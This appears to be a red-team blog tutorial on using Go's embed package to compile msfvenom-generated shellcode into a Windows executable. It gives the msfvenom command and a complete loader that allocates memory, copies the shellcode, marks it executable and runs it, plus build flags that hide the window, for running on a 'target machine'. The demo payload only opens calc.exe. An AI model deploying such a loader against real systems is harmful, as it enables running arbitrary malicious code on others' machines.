Embedding Files at Compile Time in Go

2 minute read

Intro

The ability to load files during compile-time can be extremely useful. For web developers, this means being able to load static HTML templates into a Go build and for exploit developers, this means being able to embed shellcode or binaries straight into a Go program. In this blog, I’ll demonstrate how the embed package can be used to dynamically load generated shellcode into a Go binary.

Go’s embed package

Go’s embed package allows us to “embed” files into a string, byte slice, or fs.FS. The following code shows how we can embed the contents of a file called “shellcode.bin” inside of a variable during compilation as opposed to deferring the reading of the file during run-time. NOTE: one thing to mention here is that the variable we would like to store our file in, must have global scope.

package main

import (
  _ "embed"
  "fmt"
)

//go:embed shellcode.bin
var sc []byte

func main() {
  fmt.Println(string(sc))
}

As previously mentioned, we can leverage this capability as exploit developers, for example, by dynamically loading shellcode into a variable that gets stored in the final executable which could then be easily transferred to the target machine for execution.

Dynamically Loading Shellcode into Go Program

Let’s begin by generated shellcode with msfvenom to spawn calc.exe:

msfvenom --payload windows/exec CMD=calc.exe -b "\x00" --format raw -o shellcode.bin

With our shellcode now generated, we can setup a new Go module called “shellexec”:

mkdir shellexec
cd shellexec
go mod init shellexec

“go get” the necessary dependencies needed to invoke Windows API calls:

go get -v golang.org/x/sys/windows

And finally, create a file called main.go and copy and paste the following code into the file:

package main

import (
        "syscall"
        "unsafe"

        "golang.org/x/sys/windows"
)

//go:embed shellcode.bin
var sc []byte

func exec(sc []byte) {
        var addr uintptr
        addr, err := windows.VirtualAlloc(
                uintptr(0),
                uintptr(len(sc)),
                windows.MEM_COMMIT|windows.MEM_RESERVE,
                windows.PAGE_READWRITE)
        if err != nil {
                panic(err.Error())
        }

        ntdll := windows.NewLazySystemDLL("ntdll.dll")
        RtlMoveMemory := ntdll.NewProc("RtlMoveMemory")
        RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))

        var oldProtect uint32
        if err := windows.VirtualProtect(
                addr,
                uintptr(len(sc)),
                windows.PAGE_EXECUTE_READ,
                &oldProtect,
        ); err != nil {
                panic(err.Error())
        }

        syscall.Syscall(addr, 0, 0, 0, 0)
}

func main() {
        exec(sc)
}

As you can see from the code above, we did not need to hard-code any shellcode into our Go program - the Go compiler will automatically load our shellcode from “shellcode.bin” during compile-time.

We can then build our program for Windows/amd64 with the following command:

-ldflags="-w -s" is specified to minimize the binary size

GOARCH=amd64 GOOS=windows go build -ldflags="-w -s -H=windowsgui" -trimpath .

If you are on an Intel processor, use:

GOARCH=386 GOOS=windows go build -ldflags="-w -s -H=windowsgui" -trimpath .

Then, transfer the .exe file over to a target Windows machine and run the executable to open calc.exe!


EOF

If you enjoyed reading this blog and learned something, keep an eye out for more of my posts and maybe consider following me on GitHub, where I work on cybersecurity projects. And if you are feeling really generous, consider buying me a coffee!

References

comments powered by Disqus